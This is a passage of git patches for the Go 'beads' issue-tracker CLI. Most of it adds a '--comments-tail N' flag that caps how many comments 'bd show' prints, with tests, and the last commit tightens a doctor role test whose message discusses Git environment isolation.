+// longer happens. The refusal itself stands — a blocks edge is not the way to +// say "I close after my children" — so the reason has to say what is. func (e *DependencyHierarchyConflictError) Error() string { if e.BlockerIsAncestor { return fmt.Sprintf("%s cannot be blocked by its ancestor %s: %s cannot close until its descendants finish, so the gate would never clear", e.IssueID, e.BlockerID, e.BlockerID) } - return fmt.Sprintf("%s cannot be blocked by its descendant %s: blocked status cascades to descendants, so %s would inherit the block and never close", - e.IssueID, e.BlockerID, e.BlockerID) + return fmt.Sprintf("%s cannot be blocked by its descendant %s: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate)", + e.IssueID, e.BlockerID) } diff --git a/scripts/check-testing-short.sh b/scripts/check-testing-short.sh index 62d6944a4..86f3095cd 100755 --- a/scripts/check-testing-short.sh +++ b/scripts/check-testing-short.sh @@ -11,6 +11,7 @@ internal/testutil/fixtures/fixtures_test.go::TestXLargeDolt internal/testutil/fixtures/fixtures_test.go::TestLargeFromJSONL internal/storage/dolt/concurrent_test.go::TestHighContentionStress internal/storage/dolt/concurrent_test.go::TestConcurrentWorkQueueDrain +internal/storage/dolt/blocked_scale_bench_test.go::TestBlockedStateScaleTiming internal/storage/dolt/lease_test.go::TestConcurrentHeartbeatReclaimClose internal/storage/uow/lostupdate_dolt_test.go::TestUOW_ConcurrentMergeOps_NoLostUpdate internal/workapi/sweep_test.go::TestCandidateIDMatcherLargeFixture From 5d2c01bd9a10aa1bab362612364a31cf670a3f7d Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 09:00:31 +0000 Subject: [PATCH 172/325] feat(show): --comments-tail N renders only the last N comments in text mode (#6618) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(show): --comments-tail N renders only the last N comments in text mode Real-world beads accumulate 600+ comments and bd show renders ~800 KB of text for them. --comments-tail N caps the text-mode COMMENTS section to the last N comments, preceded by one elision line naming how many older ones were hidden (singular/plural handled). This is render-only: no data is fetched differently, and the comment count in any header still reflects the total. The flag absent or set to 0 is byte-identical to today's output (pinned by a test comparing against an independent reproduction of the pre-flag render). A negative value is a usage error, matching how --max-rows already rejects negative values. --json is untouched; --include-comments still streams every comment there, documented in the flag's help text. Co-Authored-By: Claude Fable 5.1 * fix(show): --comments-tail reaches --watch; drop two vacuous tests Plumb --comments-tail through watchIssue / displayShowIssue / displayShowIssueReturn to a new renderWatchComments (its own function so tests can exercise the exact call without a real database), replacing the third inline COMMENTS copy that ignored the flag. watchCommentFormatTime preserves the hardcoded UTC formatting byte for byte; --local-time still isn't threaded to --watch, unchanged by this commit. Also drop TestPrintComments_AbsentMatchesZero and TestPrintComments_CommentCountHeaderUnaffected (vacuous — the first called printComments(x, 0) against itself, the second asserted len() on a by-value slice and bd show text mode prints no comment count); folded the absent-flag case into the legacy-comparison test instead. Co-Authored-By: Claude Fable 5.1 * ci: list show_comments_tail_test.go in cmd/bd BUILD.bazel Bazel equivalence requires every test file in the go_test srcs; this is the line CI's bazel-sync patch printed. Co-Authored-By: Claude Fable 5.1 * ci: rerun after #7338 re-pinned the RBE worker-env (no code change) Co-Authored-By: Claude Fable 5.1 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 9 + cmd/bd/BUILD.bazel | 1 + cmd/bd/show.go | 19 +- cmd/bd/show_comments_tail_test.go | 316 ++++++++++++++++++++++++++++++ cmd/bd/show_display.go | 47 +++-- cmd/bd/show_format.go | 52 +++++ cmd/bd/show_proxied_server.go | 17 +- 7 files changed, 424 insertions(+), 37 deletions(-) create mode 100644 cmd/bd/show_comments_tail_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 0fe2dea22..4c6167e6d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1205,6 +1205,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 open, including the library API, `bd doctor --fix` and `bd bootstrap`, keeps the existing message. +- **`bd show --comments-tail N`** renders only the last N comments in text + output (including under `--watch`) + ([#6618](https://github.com/gastownhall/beads/pull/6618)), preceded by one + elision line naming how many older ones were hidden. A render-only cap for + fat, append-only beads whose full comment history is hundreds of KB — + description and metadata are unchanged, and omitting the flag (or passing + `0`) is byte-identical to today's output. JSON output is untouched; + `--include-comments` still streams every comment there. + ### Changed - **The managed shared Dolt server now opens its configured remotesapi diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index b3bfafcc1..043175545 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1118,6 +1118,7 @@ go_test( "shared_store_migrate_gate_test.go", "ship_embedded_test.go", "show_brief_deps_test.go", + "show_comments_tail_test.go", "show_current_test.go", "show_details_json_test.go", "show_embedded_test.go", diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 09079463f..509149aa0 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -59,6 +59,10 @@ var showCmd = &cobra.Command{ includeDepends, _ := cmd.Flags().GetBool("include-dependents") includeComments, _ := cmd.Flags().GetBool("include-comments") briefDeps, _ := cmd.Flags().GetBool("brief-deps") + commentsTail, _ := cmd.Flags().GetInt("comments-tail") + if err := validateCommentsTail(commentsTail); err != nil { + return err + } ctx := rootCtx // Helper to format timestamp based on --local-time flag @@ -99,7 +103,7 @@ var showCmd = &cobra.Command{ if len(args) != 1 { return HandleErrorRespectJSON("watch mode requires exactly one issue ID") } - return watchIssue(ctx, args[0]) + return watchIssue(ctx, args[0], commentsTail) } if showThread { @@ -263,17 +267,7 @@ var showCmd = &cobra.Command{ // Show comments comments, _ := issueStore.GetIssueComments(ctx, issue.ID) // Best effort: show issue even if comments unavailable - if len(comments) > 0 { - fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) - for _, comment := range comments { - fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(comment.CreatedAt)), comment.Author) - rendered := uimd.RenderMarkdown(comment.Text) - // TrimRight removes trailing newlines that Glamour adds, preventing extra blank lines - for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { - fmt.Printf(" %s\n", line) - } - } - } + printComments(comments, commentsTail, formatTime, issue.ID) // Long mode: show all extended fields if longMode { @@ -325,6 +319,7 @@ func init() { "Without it the comments field is absent entirely, not truncated: an issue with comments carries "+ "comment_count and comments_omitted=true, so check those before reading an absent comments field as none.") showCmd.Flags().Bool("brief-deps", false, "Reduce each dependency to its identity fields in JSON output (--json only; drops description, design, notes and acceptance criteria)") + showCmd.Flags().Int("comments-tail", 0, "Render only the last N comments in text output, preceded by one elision line naming how many older ones were hidden (text output only; 0, the default, renders every comment unchanged; N must be >= 0)") showCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(showCmd) } diff --git a/cmd/bd/show_comments_tail_test.go b/cmd/bd/show_comments_tail_test.go new file mode 100644 index 000000000..3356ecef2 --- /dev/null +++ b/cmd/bd/show_comments_tail_test.go @@ -0,0 +1,316 @@ +package main + +import ( + "fmt" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/internal/uimd" +) + +// testCommentsTailFormatTime is a fixed, deterministic formatTime for these +// tests — the real callers build one closed over --local-time, but the +// render function under test doesn't care which one it gets. +func testCommentsTailFormatTime(t time.Time) string { + return t.UTC().Format("2006-01-02 15:04") +} + +// makeTailTestComments builds n comments with distinguishable Author/Text +// bodies ("author-0"/"body-0" .. "author-(n-1)"/"body-(n-1)") in ascending +// CreatedAt order, matching GetIssueComments' oldest-first contract — the +// same order both show routes hand to printComments today. +func makeTailTestComments(n int) []*types.Comment { + base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + comments := make([]*types.Comment, n) + for i := 0; i < n; i++ { + comments[i] = &types.Comment{ + ID: fmt.Sprintf("c-%d", i), + Author: fmt.Sprintf("author-%d", i), + Text: fmt.Sprintf("body-%d", i), + CreatedAt: base.Add(time.Duration(i) * time.Minute), + } + } + return comments +} + +// legacyRenderComments reproduces, verbatim, the COMMENTS block that lived +// inline in show.go / show_proxied_server.go before --comments-tail +// existed. It gives the "byte-identical to today's output" invariant an +// independent baseline to compare against, rather than comparing +// printComments against itself (which could hide a shared bug in both the +// capped and uncapped branches). +func legacyRenderComments(comments []*types.Comment, formatTime func(time.Time) string) { + if len(comments) > 0 { + fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) + for _, comment := range comments { + fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(comment.CreatedAt)), comment.Author) + rendered := uimd.RenderMarkdown(comment.Text) + for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { + fmt.Printf(" %s\n", line) + } + } + } +} + +// TestShowCommentsTailFlagRegistration guards the wiring for --comments-tail: +// the flag must exist, default to 0 so a caller that never passes it gets +// today's uncapped output, and be read by the proxied route too — the direct +// and proxied routes gather flags separately (see TestShowBriefDepsFlag), +// so a flag added to one does not reach the other by implication. +func TestShowCommentsTailFlagRegistration(t *testing.T) { + flag := showCmd.Flags().Lookup("comments-tail") + if flag == nil { + t.Fatal("comments-tail flag is not registered on showCmd") + } + if flag.DefValue != "0" { + t.Errorf("comments-tail default = %q, want \"0\": the default output must not change", flag.DefValue) + } + + t.Run("proxied route defaults to 0", func(t *testing.T) { + if in := gatherShowProxiedInput(showCmd, []string{"be-abc"}); in.commentsTail != 0 { + t.Errorf("commentsTail defaulted to %d, want 0", in.commentsTail) + } + }) + + t.Run("proxied route reads it", func(t *testing.T) { + if err := showCmd.Flags().Set("comments-tail", "3"); err != nil { + t.Fatalf("set comments-tail=3: %v", err) + } + t.Cleanup(func() { + _ = showCmd.Flags().Set("comments-tail", "0") + showCmd.Flags().Lookup("comments-tail").Changed = false + }) + if in := gatherShowProxiedInput(showCmd, []string{"be-abc"}); in.commentsTail != 3 { + t.Errorf("gatherShowProxiedInput did not carry comments-tail to the proxied request, got %d", in.commentsTail) + } + }) +} + +// TestValidateCommentsTail pins the negative-value usage error both show +// routes share, following how --max-rows already rejects a negative value +// (resolveMaxRows in max_rows.go). +func TestValidateCommentsTail(t *testing.T) { + if err := validateCommentsTail(0); err != nil { + t.Errorf("0 should be valid, got %v", err) + } + if err := validateCommentsTail(5); err != nil { + t.Errorf("a positive value should be valid, got %v", err) + } + + var gotErr error + stderr := captureStderr(t, func() { + gotErr = validateCommentsTail(-1) + }) + if gotErr == nil { + t.Fatal("expected an error for a negative --comments-tail") + } + if !strings.Contains(stderr, "--comments-tail") || !strings.Contains(stderr, "non-negative") { + t.Errorf("expected stderr to explain the flag constraint, got: %s", stderr) + } +} + +// TestPrintComments_TailSmallerThanCount is scenario 1: a real cap hides the +// older comments behind exactly one elision line naming how many, and +// renders only the newest N bodies, in their existing order and format. +func TestPrintComments_TailSmallerThanCount(t *testing.T) { + comments := makeTailTestComments(5) + out := captureStdout(t, func() error { + printComments(comments, 2, testCommentsTailFormatTime, "ts-1") + return nil + }) + + for i := 0; i < 3; i++ { + if strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d to be hidden by the cap, found it in:\n%s", i, out) + } + } + for i := 3; i < 5; i++ { + if !strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d (one of the last 2) to render, missing from:\n%s", i, out) + } + } + + if n := strings.Count(out, "older comment"); n != 1 { + t.Errorf("expected exactly one elision line, found %d in:\n%s", n, out) + } + wantLine := "… 3 older comments hidden — bd show ts-1 for the full record" + if !strings.Contains(out, wantLine) { + t.Errorf("expected elision line %q, got:\n%s", wantLine, out) + } +} + +// TestPrintComments_TailAtOrAboveCount is scenario 2: a cap that does not +// need to hide anything (tailN >= len(comments)) must render byte-identical +// output to the uncapped (tailN == 0) path — no elision line, every comment +// present. +func TestPrintComments_TailAtOrAboveCount(t *testing.T) { + comments := makeTailTestComments(5) + + uncapped := captureStdout(t, func() error { + printComments(comments, 0, testCommentsTailFormatTime, "ts-1") + return nil + }) + atCount := captureStdout(t, func() error { + printComments(comments, 5, testCommentsTailFormatTime, "ts-1") + return nil + }) + aboveCount := captureStdout(t, func() error { + printComments(comments, 100, testCommentsTailFormatTime, "ts-1") + return nil + }) + + if uncapped != atCount { + t.Errorf("tailN == len(comments) diverged from tailN == 0:\nuncapped:\n%s\natCount:\n%s", uncapped, atCount) + } + if uncapped != aboveCount { + t.Errorf("tailN > len(comments) diverged from tailN == 0:\nuncapped:\n%s\naboveCount:\n%s", uncapped, aboveCount) + } + if strings.Contains(uncapped, "older comment") { + t.Errorf("expected no elision line when nothing is hidden, got:\n%s", uncapped) + } +} + +// TestPrintComments_ByteIdenticalToLegacyRender is the strongest form of "the +// flag absent or 0 must not change output": it compares printComments' +// uncapped path against an independent reproduction of the exact code that +// rendered the COMMENTS section before --comments-tail existed, so the two +// can't share a bug that a self-comparison (capped vs. uncapped both going +// through printComments) would hide. Calling printComments(x, 0) and +// comparing it to another printComments(x, 0) call would be vacuous — it +// can't fail — so every subtest here compares against legacyRenderComments +// instead. +func TestPrintComments_ByteIdenticalToLegacyRender(t *testing.T) { + comments := makeTailTestComments(7) + + legacy := captureStdout(t, func() error { + legacyRenderComments(comments, testCommentsTailFormatTime) + return nil + }) + current := captureStdout(t, func() error { + printComments(comments, 0, testCommentsTailFormatTime, "ts-1") + return nil + }) + if legacy != current { + t.Errorf("printComments(tailN=0) diverged from the pre-flag render:\nlegacy:\n%s\ncurrent:\n%s", legacy, current) + } + + // scenario 3: the flag absent — which resolves to Go's zero value for an + // unset int flag — must render identically to the pre-flag block, not + // merely to another explicit-0 call. + t.Run("flag absent (zero value)", func(t *testing.T) { + var absentTailN int // an unset --comments-tail flag GetInt()s to this + absent := captureStdout(t, func() error { + printComments(comments, absentTailN, testCommentsTailFormatTime, "ts-1") + return nil + }) + if absent != legacy { + t.Errorf("flag-absent output diverged from the pre-flag render:\nabsent:\n%s\nlegacy:\n%s", absent, legacy) + } + }) + + t.Run("empty comments", func(t *testing.T) { + legacyEmpty := captureStdout(t, func() error { + legacyRenderComments(nil, testCommentsTailFormatTime) + return nil + }) + currentEmpty := captureStdout(t, func() error { + printComments(nil, 0, testCommentsTailFormatTime, "ts-1") + return nil + }) + if legacyEmpty != currentEmpty || legacyEmpty != "" { + t.Errorf("expected empty output for no comments, got legacy=%q current=%q", legacyEmpty, currentEmpty) + } + }) +} + +// TestPrintComments_SingularWording is scenario 5: exactly one older comment +// hidden gets "comment", not "comments". +func TestPrintComments_SingularWording(t *testing.T) { + comments := makeTailTestComments(3) + out := captureStdout(t, func() error { + printComments(comments, 2, testCommentsTailFormatTime, "ts-1") + return nil + }) + wantLine := "… 1 older comment hidden — bd show ts-1 for the full record" + if !strings.Contains(out, wantLine) { + t.Errorf("expected singular elision line %q, got:\n%s", wantLine, out) + } + if strings.Contains(out, "1 older comments") { + t.Errorf("expected singular \"comment\", found plural in:\n%s", out) + } +} + +// legacyWatchRenderComments reproduces, verbatim, the COMMENTS block that +// lived inline in show_display.go's displayShowIssueReturn before +// --comments-tail existed. Unlike legacyRenderComments above (which the +// direct and --proxied-server routes shared), the watch path hardcoded UTC +// unconditionally rather than taking a formatTime parameter — it never +// threaded --local-time — so this is its own, separate baseline. +func legacyWatchRenderComments(comments []*types.Comment) { + if len(comments) > 0 { + fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) + for _, comment := range comments { + fmt.Printf(" %s %s\n", ui.RenderMuted(comment.CreatedAt.UTC().Format("2006-01-02 15:04")), comment.Author) + rendered := uimd.RenderMarkdown(comment.Text) + for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { + fmt.Printf(" %s\n", line) + } + } + } +} + +// TestRenderWatchComments_TailAbsentMatchesLegacy pins that the watch path's +// own render call (renderWatchComments, the exact function +// displayShowIssueReturn calls — see show_display.go) reproduces the old +// watch block byte for byte when --comments-tail is absent (tailN == 0), +// including its hardcoded UTC formatting. This is the "watch mode ignores +// the flag" regression guard: it exercises the real wiring, not a +// hand-picked formatTime, so a future edit that stops threading +// --comments-tail to the watch render — or that starts threading +// --local-time in a way that changes the UTC formatting — would surface +// here. +func TestRenderWatchComments_TailAbsentMatchesLegacy(t *testing.T) { + comments := makeTailTestComments(4) + + legacy := captureStdout(t, func() error { + legacyWatchRenderComments(comments) + return nil + }) + current := captureStdout(t, func() error { + renderWatchComments(comments, 0, "ts-1") + return nil + }) + if legacy != current { + t.Errorf("renderWatchComments(tailN=0) diverged from the pre-flag watch block:\nlegacy:\n%s\ncurrent:\n%s", legacy, current) + } +} + +// TestRenderWatchComments_HonoursTail is the watch-path form of scenario 1: +// --comments-tail must cap the watch render the same way it caps the other +// two show routes, through the actual renderWatchComments call +// displayShowIssueReturn makes. +func TestRenderWatchComments_HonoursTail(t *testing.T) { + comments := makeTailTestComments(5) + out := captureStdout(t, func() error { + renderWatchComments(comments, 2, "ts-1") + return nil + }) + + for i := 0; i < 3; i++ { + if strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d to be hidden by the cap in watch output, found it in:\n%s", i, out) + } + } + for i := 3; i < 5; i++ { + if !strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d to render in watch output, missing from:\n%s", i, out) + } + } + wantLine := "… 3 older comments hidden — bd show ts-1 for the full record" + if !strings.Contains(out, wantLine) { + t.Errorf("expected elision line %q in watch output, got:\n%s", wantLine, out) + } +} diff --git a/cmd/bd/show_display.go b/cmd/bd/show_display.go index fcb21275c..cbd392787 100644 --- a/cmd/bd/show_display.go +++ b/cmd/bd/show_display.go @@ -15,6 +15,26 @@ import ( "github.com/steveyegge/beads/internal/uimd" ) +// watchCommentFormatTime is the watch path's comment timestamp formatter. +// It reproduces, byte for byte, what the inline COMMENTS block here always +// did before printComments existed: UTC, unconditionally — this path does +// not read --local-time today (a pre-existing gap from the non-watch +// render), and this change does not alter that. +func watchCommentFormatTime(t time.Time) string { + return t.UTC().Format("2006-01-02 15:04") +} + +// renderWatchComments prints the watch path's COMMENTS section, applying the +// same --comments-tail cap as the other two show routes, always through +// watchCommentFormatTime. Split out from displayShowIssueReturn as its own +// function so tests can exercise the watch path's exact render call — +// commentsTail plumbed all the way to printComments — without going through +// displayShowIssueReturn itself, which resolves the issue via a live store +// and so needs a real database. +func renderWatchComments(comments []*types.Comment, commentsTail int, issueID string) { + printComments(comments, commentsTail, watchCommentFormatTime, issueID) +} + // singleIssueSnapshot builds a comparable string from a single issue's state // so we can detect when the issue has changed between poll cycles. func singleIssueSnapshot(issue *types.Issue) string { @@ -38,10 +58,12 @@ const showWatchPollInterval = 2 * time.Second // watchIssue polls for changes to an issue and auto-refreshes the display (GH#654). // Uses polling instead of fsnotify because Dolt stores data in a server-side -// database, not files — file watchers never fire. -func watchIssue(ctx context.Context, issueID string) error { +// database, not files — file watchers never fire. commentsTail is the +// --comments-tail render cap, threaded through to every render this loop +// does (initial and on each refresh); see printComments. +func watchIssue(ctx context.Context, issueID string, commentsTail int) error { return runIssueWatch(ctx, issueWatchSource{ - render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID) }, + render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID, commentsTail) }, fetch: func(ctx context.Context) (*types.Issue, error) { return fetchIssue(ctx, issueID) }, }) } @@ -118,7 +140,8 @@ func fetchIssue(ctx context.Context, issueID string) (*types.Issue, error) { // displayShowIssueReturn displays a single issue and returns it for snapshot use. // Matches the full bd show output: header, metadata, content, labels, deps, comments. -func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { +// commentsTail is the --comments-tail render cap; see printComments. +func displayShowIssueReturn(ctx context.Context, issueID string, commentsTail int) *types.Issue { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { defer result.Close() @@ -185,18 +208,12 @@ func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { // Related (bidirectional, deduplicated) printRelatedSection(relatedSeen) - // Comments + // Comments. watchCommentFormatTime hardcodes UTC — this path does not + // thread --local-time today (a pre-existing discrepancy from the + // non-watch render, left alone here; only the --comments-tail cap is + // wired through). comments, _ := issueStore.GetIssueComments(ctx, issue.ID) - if len(comments) > 0 { - fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) - for _, comment := range comments { - fmt.Printf(" %s %s\n", ui.RenderMuted(comment.CreatedAt.UTC().Format("2006-01-02 15:04")), comment.Author) - rendered := uimd.RenderMarkdown(comment.Text) - for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { - fmt.Printf(" %s\n", line) - } - } - } + renderWatchComments(comments, commentsTail, issue.ID) fmt.Println() return issue diff --git a/cmd/bd/show_format.go b/cmd/bd/show_format.go index 46fff61a0..28504d7f9 100644 --- a/cmd/bd/show_format.go +++ b/cmd/bd/show_format.go @@ -314,6 +314,58 @@ func printEpicChildProgress(children []*types.IssueWithDependencyMetadata) { fmt.Printf(" %s %d/%d complete (%d%%)%s\n", icon, closed, len(children), pct, eligible) } +// validateCommentsTail rejects a negative --comments-tail value the same way +// on both show routes (direct and --proxied-server): a negative render cap +// has no meaning, so it is a usage error rather than a silently-clamped +// default, matching how resolveMaxRows (max_rows.go) rejects a negative +// --max-rows. +func validateCommentsTail(n int) error { + if n < 0 { + return HandleErrorRespectJSON("--comments-tail must be non-negative; got %d", n) + } + return nil +} + +// printComments prints the COMMENTS section of bd show's text-mode output: +// the bold heading, then one block per comment (muted timestamp + author, +// rendered markdown body). Both show routes (direct and --proxied-server) +// call this so the render stays identical between them. +// +// tailN is the --comments-tail cap: <= 0 or >= len(comments) renders every +// comment with no elision line, byte-identical to the output before the flag +// existed (the flag's off state MUST be indistinguishable from its absence). +// A real cap — 0 < tailN < len(comments) — hides the older comments behind +// exactly one muted elision line naming how many were hidden (singular for +// one), then renders only the last tailN in their existing order and format. +// issueID feeds the elision line's "bd show " pointer at the full +// record. +func printComments(comments []*types.Comment, tailN int, formatTime func(time.Time) string, issueID string) { + if len(comments) == 0 { + return + } + fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) + + start := 0 + if tailN > 0 && tailN < len(comments) { + hidden := len(comments) - tailN + start = hidden + noun := "comments" + if hidden == 1 { + noun = "comment" + } + fmt.Printf(" %s\n", ui.RenderMuted(fmt.Sprintf("… %d older %s hidden — bd show %s for the full record", hidden, noun, issueID))) + } + + for _, comment := range comments[start:] { + fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(comment.CreatedAt)), comment.Author) + rendered := uimd.RenderMarkdown(comment.Text) + // TrimRight removes trailing newlines that Glamour adds, preventing extra blank lines + for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { + fmt.Printf(" %s\n", line) + } + } +} + // formatSimpleDependencyLine formats a dependency without metadata (fallback) // Closed items get entire row muted - the work is done, no need for attention func formatSimpleDependencyLine(prefix string, dep *types.Issue) string { diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 7d66ce7c5..7aa739a38 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -36,6 +36,7 @@ type showProxiedInput struct { includeDepends bool briefDeps bool includeComments bool + commentsTail int } func gatherShowProxiedInput(cmd *cobra.Command, args []string) *showProxiedInput { @@ -52,6 +53,7 @@ func gatherShowProxiedInput(cmd *cobra.Command, args []string) *showProxiedInput in.includeDepends, _ = cmd.Flags().GetBool("include-dependents") in.briefDeps, _ = cmd.Flags().GetBool("brief-deps") in.includeComments, _ = cmd.Flags().GetBool("include-comments") + in.commentsTail, _ = cmd.Flags().GetInt("comments-tail") idFlags, _ := cmd.Flags().GetStringArray("id") in.ids = append(in.ids, args...) @@ -94,6 +96,10 @@ func proxiedIssueReader() (issueops.Reader, error) { func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { in := gatherShowProxiedInput(cmd, args) + if err := validateCommentsTail(in.commentsTail); err != nil { + return err + } + uw, err := proxiedOpenReadUOW(ctx) if err != nil { return err @@ -607,16 +613,7 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss printRelatedSection(relatedSeen) comments, _ := proxiedGetComments(ctx, uw, issue.ID, isWisp) - if len(comments) > 0 { - fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) - for _, c := range comments { - fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(c.CreatedAt)), c.Author) - rendered := uimd.RenderMarkdown(c.Text) - for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { - fmt.Printf(" %s\n", line) - } - } - } + printComments(comments, in.commentsTail, formatTime, issue.ID) if in.longMode { fmt.Print(formatIssueLongExtras(issue, formatTime)) From 0ed6d47ba3c95dfefc9c114d55fc457ef039e3a2 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 8 Oct 2026 09:52:52 +0000 Subject: [PATCH 173/325] test(doctor): assert the nonexistent-path role check's N/A message (#6401) * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(doctor): isolate role lookups from inherited Git routing (saa-cgh.109.2) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(doctor): isolate legacy role fixtures from user home config (saa-cgh.109.2) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * review: reduce to the base-relative _NonexistentPath message assertion Iteration-2 maintainer review fix for #6401, amending the iteration-1 fixup rather than stacking a second one. Iteration 2 filed a blocker plus two majors: #6247 (`ced3dfe220`) landed this PR's entire remaining residual on main - helper name included - so the previous reduction had become unmergeable, and both obvious resolutions damage main. Installing the head's `role_test.go` compiles and leaves a green package while silently deleting `TestCheckBeadsRoleIgnoresInheritedRouting`, the 7-subtest table from #6461, with no CI tripwire. Keeping main's table while carrying this PR's `isolateGlobalGitConfig` fails to compile: the two branches added the same helper name in the same package with divergent signatures (ours void, main's `string`, consumed as `home := ...`), so main's is the incumbent. The reduction is therefore expressed against the adoption base `f66375459`, adding nothing main already has: `cmd/bd/doctor/role_test.go` is byte-identical to base except for the `check.Message != "N/A (not a git repository)"` assertion and the three-line comment explaining why status alone is not discriminating ("Configured as maintainer" is `StatusOK` too). This head neither defines nor calls `isolateGlobalGitConfig` - 0 occurrences - so main's helper and its two fixture call sites are left untouched. Net: +6/-1 against base, down from +25/-1, and the whole PR is now this one test file. Note for the next review pass: a prescribed remedy that writes upstream's content into the head is the failure mode here, not the fix. Doing that makes ours a superset of theirs in the same region, which git UNIONS rather than conflicts, duplicating main's table test - and `merge-tree` still reports rc 0, so a clean merge-tree is not a compile certificate. The two gates that catch it are vetting the EXTRACTED MERGED TREE and censusing `^func` names inside the MERGED file; both are run below and both are clean for this arm. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Bee Co-authored-by: Gas City Adopt-PR Co-authored-by: Eddie the Engineer --- cmd/bd/doctor/role_test.go | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/cmd/bd/doctor/role_test.go b/cmd/bd/doctor/role_test.go index ae4c08a76..7a0836820 100644 --- a/cmd/bd/doctor/role_test.go +++ b/cmd/bd/doctor/role_test.go @@ -141,10 +141,15 @@ func TestCheckBeadsRole_NonexistentPath(t *testing.T) { // Test with a path that doesn't exist — git will report "not a git repository" check := CheckBeadsRole(filepath.Join(os.TempDir(), "nonexistent-beads-test-dir")) - // Should return OK/N/A since the path is not a git repository + // Should return 